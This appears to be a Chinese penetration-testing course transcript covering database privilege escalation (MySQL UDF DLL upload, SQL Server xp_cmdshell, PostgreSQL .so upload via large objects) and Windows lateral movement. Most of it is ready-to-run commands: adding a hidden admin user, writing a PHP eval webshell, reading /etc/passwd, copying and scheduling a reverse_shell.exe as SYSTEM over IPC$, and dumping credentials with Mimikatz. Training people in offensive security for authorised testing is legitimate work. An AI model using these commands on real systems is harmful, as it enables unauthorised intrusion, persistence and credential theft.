1. 操作数据库

    • 在数据库中创建一个临时表,用于存放DLL的二进制数据。

    • 将DLL的十六进制数据插入到这个临时表中。

    • 利用 SELECT ... INTO DUMPFILE 语句,将临时表中的DLL数据导出到目标服务器的 lib\plugin 目录下(如果目录不存在,需先用ADS流技术创建)。

  2. 创建UDF函数:在MySQL中,利用导出的DLL文件创建一个自定义函数(例如函数名为 cmdshell)。

  3. 执行系统命令:通过调用这个自定义函数来执行系统命令(如添加管理员用户),从而实现权限提升。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_116.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_118.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_120.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_122.png

具体操作语句示例

  1. 查看MySQL安装目录:SELECT @@basedir;

  2. 创建临时表:

    CREATE TABLE temp_udf (udf LONGBLOB);
    
  3. 插入DLL数据(假设 {HEX_CODE} 是DLL的十六进制内容):

    INSERT INTO temp_udf (udf) VALUES (UNHEX('{HEX_CODE}'));
    
  4. 导出DLL文件(假设安装目录为 C:/mysql/):

    SELECT udf FROM temp_udf INTO DUMPFILE 'C:/mysql/lib/plugin/udf.dll';
    
  5. 创建UDF函数:

    CREATE FUNCTION cmdshell RETURNS STRING SONAME 'udf.dll';
    
  6. 执行系统命令:

    SELECT cmdshell('net user hacker Password123! /add');
    SELECT cmdshell('net localgroup administrators hacker /add');
    

另一种场景:如果已经获得Webshell但无法执行系统命令,可以上传集成了上述步骤的提权脚本,通过Web界面填写数据库信息来完成提权。


https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_124.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_126.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_128.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_130.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_132.png

第二部分:SQL Server数据库提权 🗃️

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_134.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_136.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_137.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_139.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_141.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_142.png

SQL Server是Windows服务器上常用的数据库。其提权主要利用一个名为 xp_cmdshell 的扩展存储过程。

什么是xp_cmdshell?

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_144.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_146.png

xp_cmdshell 是SQL Server的一个扩展存储过程。它允许系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行的方式返回任何输出。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_148.png

由于它可以执行任何操作系统命令,因此危害很大。如果攻击者获得了SQL Server的管理员账号(如sa),连接到数据库后就可以利用 xp_cmdshell 执行系统命令,从而获得系统权限。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_150.png

版本差异

  • 在SQL Server 2000中,xp_cmdshell 默认是开启的。

  • 在SQL Server 2005及更高版本中,xp_cmdshell 默认是关闭的。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_152.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_154.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_156.png

因此,在新版本中我们无法直接使用它。如果执行 xp_cmdshell 相关命令报错,通常意味着该组件被禁用。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_158.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_160.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_162.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_164.png

SQL Server提权实战流程

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_166.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_168.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_170.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_172.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_174.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_176.png

场景假设:我们通过一个SQL注入点,能够执行我们注入的SQL语句,并且当前数据库用户具有较高权限(如属于 sysadmin 服务器角色)。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_178.png

核心步骤

  1. 判断当前用户权限:确认当前数据库用户是否属于 sysadmin 角色(即管理员组)。

    SELECT IS_SRVROLEMEMBER('sysadmin');
    -- 如果返回1,则是管理员。
    
  2. 判断xp_cmdshell是否存在:检查数据库是否安装了 xp_cmdshell 组件。

    SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell';
    
  3. 启用xp_cmdshell(如果需要):如果组件存在但被禁用,且当前是管理员权限,则可以尝试启用它。

    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    
  4. 执行系统命令:启用后,即可通过 xp_cmdshell 执行系统命令。

    EXEC master..xp_cmdshell 'whoami';
    EXEC master..xp_cmdshell 'net user hacker Password123! /add';
    EXEC master..xp_cmdshell 'net localgroup administrators hacker /add';
    
  5. 获取命令输出xp_cmdshell 的执行结果会以数据行的形式返回。在某些注入点,可能需要结合其他语句来查看输出。

备用方案:如果 xp_cmdshell 被删除或无法启用,可以尝试利用其他扩展存储过程,如 sp_OACreate 等,通过创建COM对象来执行命令或写入文件。


https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_180.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_181.png

总结 🎯

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_183.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_185.png

本节课我们一起学习了两种主流数据库的权限提升技术:

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_187.png

  1. MySQL UDF提权:核心在于利用用户自定义函数功能,通过上传自定义的DLL文件来创建一个能执行系统命令的函数。关键技术点包括理解UDF、掌握NTFS ADS流创建目录的方法,以及熟悉整个手工提权的SQL操作流程。

  2. SQL Server xp_cmdshell提权:核心在于利用 xp_cmdshell 扩展存储过程来执行系统命令。关键在于判断当前用户权限、确认组件状态,并在必要时以管理员权限启用它。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_189.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_191.png

这两种提权方式的前提都是我们已经获得了数据库的连接凭证(用户名和密码),并且数据库服务运行在具有一定权限的账户下(如SYSTEM或Administrator)。在实际渗透测试中,这些信息往往通过Web漏洞、配置信息泄露等方式获得。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/8310c3f13bc4514af935eb479f1908a7_193.png

理解这些原理和步骤,有助于我们在合适的场景下利用数据库这一跳板,成功提升权限,深入目标网络。

077:第47天 - PostgreSQL数据库提权与横向移动基础 🛡️

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_1.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_3.png

在本节课中,我们将学习两个核心内容:一是利用PostgreSQL数据库进行权限提升(提权)的方法,二是Windows系统下基于内置工具的横向移动基础。课程将分为两部分,首先详细讲解PostgreSQL提权的原理与步骤,然后介绍横向移动的基本概念和常用工具。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_4.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_6.png


第一部分:PostgreSQL数据库提权 🗄️

上一节我们介绍了MySQL和MSSQL的数据库提权。本节中,我们来看看另一种常见的数据库——PostgreSQL的提权方法。其核心思路与MySQL UDF提权类似,都是通过创建自定义函数来执行系统命令。

核心原理

PostgreSQL提权主要利用数据库的“大对象”功能和自定义扩展。通过将一个包含恶意代码的共享库文件(.so文件)上传到目标服务器,并创建为一个自定义函数,从而获得执行系统命令的能力。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_8.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_10.png

关键步骤如下:

  1. 将恶意 .so 文件以十六进制编码形式插入到数据库的“大对象”中。

  2. 将该大对象的内容导出到目标服务器的文件系统(如 /tmp 目录)。

  3. 在数据库中创建自定义函数,链接到导出的 .so 文件。

  4. 调用该函数执行任意系统命令。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_12.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_14.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_16.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_18.png

环境准备与连接

首先,需要确保能连接到目标PostgreSQL数据库。连接命令通常如下:

psql -h <目标IP> -U <用户名> -d <数据库名>

连接成功后,可以使用 \? 命令查看帮助,使用 \l 列出数据库,使用 \du 列出用户。

利用步骤详解

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_20.png

以下是利用PostgreSQL执行系统命令的具体操作流程。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_22.png

1. 读取系统文件

在获取数据库访问权限后,可以利用数据库功能读取服务器上的文件。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_24.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_26.png

方法一:使用COPY命令

以下命令将系统文件 /etc/passwd 的内容读取到数据库表 p 中,然后进行查询。

DROP TABLE IF EXISTS p;
CREATE TABLE p(t TEXT);
COPY p FROM '/etc/passwd';
SELECT * FROM p LIMIT 5;

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_28.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_30.png

方法二:使用大对象(Large Object)

以下操作将文件内容写入一个大对象,然后读取出来。

-- 创建一个大对象并写入文件内容
SELECT lo_import('/etc/passwd', 12345678);
-- 以十六进制格式读取大对象内容
SELECT hex(lo_get(12345678));

获取到的十六进制字符串,解码后即可得到文件原始内容。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_32.png

2. 写入WebShell

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_34.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_36.png

如果知道Web目录且有写权限,可以通过数据库写入WebShell。

-- 创建表并插入一句话木马内容
DROP TABLE IF EXISTS cmd;
CREATE TABLE cmd(code TEXT);
INSERT INTO cmd VALUES ('<?php @eval($_POST[“cmd”]);?>');
-- 将表内容导出到Web目录
COPY cmd TO '/var/www/html/exec/shell.php';

之后,便可访问 http://目标IP/exec/shell.php 连接WebShell。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_38.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_40.png

3. 执行系统命令(提权)

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_42.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_44.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_45.png

这是提权的核心步骤,目的是让数据库执行我们指定的系统命令。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_46.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_48.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_50.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_52.png

第一步:检查扩展支持

确认数据库是否支持plpython3uplperlu等脚本语言扩展。如果支持,可以直接利用。通常我们需要使用编译好的.so文件。

SELECT * FROM pg_available_extensions;

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_54.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_56.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_58.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_59.png

第二步:上传恶意.so文件

假设我们已有一个名为 lib_postgresqludf_sys.so 的恶意共享库文件。我们需要将其内容分块(每块<=2048字节)并以十六进制形式插入到大对象中。

-- 删除已存在的对象(如果存在)
SELECT lo_unlink(9023);
-- 将.so文件的十六进制内容分块插入到ID为9023的大对象中
-- 此处仅为示例,实际内容很长,需要分段插入
INSERT INTO pg_largeobject VALUES (9023, 0, decode(‘十六进制字符串块1, ‘hex’));
INSERT INTO pg_largeobject VALUES (9023, 1, decode(‘十六进制字符串块2, ‘hex’));
-- ... 插入所有分块

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_61.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_63.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_65.png

第三步:导出.so文件到服务器

将大对象中的内容导出到服务器的可写目录,例如 /tmp

SELECT lo_export(9023,/tmp/lib_postgresqludf_sys.so’);

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_67.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_69.png

第四步:创建自定义函数

利用导出的.so文件创建一个可以执行系统命令的函数。

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS/tmp/lib_postgresqludf_sys.so’, ‘sys_eval’ LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_71.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_72.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_74.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_75.png

第五步:执行系统命令

函数创建成功后,即可通过SQL语句执行任意系统命令。

SELECT sys_eval(‘id’);
SELECT sys_eval(‘whoami’);

成功执行后,将返回命令执行结果,从而实现了权限提升。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_77.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_79.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_81.png

工具自动化

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_83.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_85.png

上述过程可以手动完成,也可以使用Metasploit等自动化工具。Metasploit中提供了 postgresql_readfilepostgresql_sql 等模块,可以简化文件读取和命令执行的操作。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_87.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_89.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_90.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_91.png

本节课第一部分总结:

我们一起学习了PostgreSQL数据库提权的完整流程。核心在于利用数据库的“大对象”功能上传恶意共享库,并创建自定义函数来执行系统命令。关键在于获得数据库连接权限,并找到可写的服务器目录。在实际测试中,如果遇到PostgreSQL数据库,可以尝试此方法进行权限提升。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_93.png


第二部分:Windows横向移动基础 🖥️

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_95.png

在渗透测试中,拿到内网一台机器的权限后,下一步往往是在同一网段内进行横向移动,扩大战果。本节将介绍利用Windows系统内置工具进行横向移动的基础方法。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_97.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_99.png

什么是横向移动?

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_101.png

横向移动是指攻击者在已经控制内网一台主机(跳板机)的基础上,利用该主机提供的信息和通道,进一步攻陷同一网络环境下的其他主机的过程。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_103.png

核心概念:IPC连接

IPC是“进程间通信”的缩写。在Windows中,IPC$ 是一个共享的命名管道资源,用于进程间通信。通过IPC$连接,可以访问远程计算机的共享资源,是许多横向移动手法的基础。

建立IPC连接的前提条件:

  1. 目标开放了 139445 端口。

  2. 目标开启了 IPC$ 共享服务。

  3. 拥有目标主机的管理员账号和密码。

常用IPC命令

以下是利用IPC进行横向信息收集和操作的基本命令。

建立IPC连接:

net use \\<目标IP>\IPC$ “<密码>” /user:<用户名>

例如:net use \\192.168.1.10\IPC$ “Admin123!” /user:Administrator

查看当前连接:

net use

查看目标系统时间(用于后续计划任务):

net time \\<目标IP>

删除IPC连接:

net use \\<目标IP>\IPC$ /del

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_105.png

通过IPC连接复制文件:

  • 将本地文件复制到远程主机:

    copy shell.exe \\<目标IP>\C$\Windows\Temp\
    
  • 将远程主机文件复制到本地:

    copy \\<目标IP>\C$\Windows\Temp\secret.txt .\
    

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_107.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_109.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_111.png

横向移动手法:IPC + 计划任务

一种经典的横向移动方式是结合IPC连接和计划任务。思路是:通过IPC连接将恶意程序上传到目标,然后通过计划任务在目标上定时执行该程序,从而获得权限。

常用计划任务工具:

  • schtasks:新版Windows系统推荐使用。

  • at:旧版系统使用,新版可能已弃用。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_113.png

操作流程示例:

  1. 建立IPC连接net use \\192.168.1.10\IPC$ “Passw0rd!” /user:Administrator

  2. 上传后门程序copy reverse_shell.exe \\192.168.1.10\C$\Windows\Temp\

  3. 创建计划任务(使用schtasks):

    schtasks /create /s 192.168.1.10 /u Administrator /p “Passw0rd!” /tn “UpdateTask” /sc once /st 23:30 /tr “C:\Windows\Temp\reverse_shell.exe” /ru system
    
    • /tn:任务名称。

    • /sc once:调度类型为一次。

    • /st:开始时间。

    • /tr:要运行的程序路径。

    • /ru:以SYSTEM权限运行。

  4. 立即运行任务schtasks /run /s 192.168.1.10 /u Administrator /p “Passw0rd!” /tn “UpdateTask”

  5. 清理任务schtasks /delete /s 192.168.1.10 /u Administrator /p “Passw0rd!” /tn “UpdateTask” /f

其他内置工具

除了IPC+计划任务,还有其他内置工具可用于横向移动:

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_115.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_116.png

  • SC命令:用于管理服务,可以远程创建、启动、停止服务。例如,将后门程序注册为服务并启动。

  • WMIC命令:强大的管理工具,可以远程执行命令、查询系统信息、管理进程等。

  • WMI:更底层的管理框架,功能比WMIC更强大,可以通过PowerShell或特定工具调用。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_118.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_120.png

本节课第二部分总结:

我们一起学习了Windows横向移动的基础概念和基于IPC连接的经典方法。核心思路是利用已获取的管理员凭证,通过系统内置的远程管理功能(如IPC共享、计划任务、服务管理)在网内其他机器上部署并执行载荷。理解这些基本原理是学习更复杂横向移动技术的基础。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_122.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_124.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_126.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_128.png


https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_130.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/6675c109590c4b88b5e3bc6c929cdebc_132.png

本节课整体总结:

在本节课中,我们深入探讨了PostgreSQL数据库的提权技术,学习了从文件读写到命令执行的全过程。随后,我们转向内网渗透的另一个关键阶段——横向移动,介绍了利用Windows IPC连接和计划任务进行横向扩展的基本方法。掌握这些技能,能够帮助我们在渗透测试中更有效地扩大控制范围。请大家务必在实验环境中亲手操作,加深理解。

078:利用Windows内置工具进行横向移动 🚀

在本节课中,我们将学习如何利用Windows操作系统内置的工具,在已经获取一台主机权限的基础上,向网络内的其他主机进行横向移动。我们将重点介绍IPC$共享连接、计划任务、SC命令、WMIC以及WinRM等工具的使用方法。

概述

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_1.png

横向移动是渗透测试和内网渗透中的关键环节。当我们成功控制一台主机(跳板机)后,下一步就是利用这台主机作为跳板,去访问和控制同一网络内的其他主机。Windows系统自带了许多强大的管理工具,可以用于实现这一目的,而无需借助外部软件。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_3.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_5.png

上一节我们介绍了信息收集和权限提升,本节中我们来看看如何利用已获取的凭证进行横向移动。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_7.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_9.png

1. 信息收集与凭证获取 🔍

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_11.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_13.png

在开始横向移动之前,我们需要从已控制的主机上收集信息,特别是获取可用于登录其他主机的凭证。

我们已经通过Meterpreter会话获取了SYSTEM权限。接下来可以进行信息收集。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_15.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_17.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_19.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_21.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_22.png

以下是获取当前主机明文密码的几种方法,使用Mimikatz模块:

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_24.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_26.png

meterpreter > load kiwi
meterpreter > creds_all

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_28.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_29.png

执行creds_all命令后,可能会返回类似以下的信息,其中包含域用户Administrator的明文密码:

Domain: DE1
User: Administrator
Password: Password123!

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_31.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_33.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_35.png

我们还可以尝试其他命令来获取哈希或明文:

meterpreter > lsa_dump_sam
meterpreter > lsa_dump_secrets

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_37.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_39.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_41.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/fb9f3abd5c122b216896ee19ad4d6814_43.png

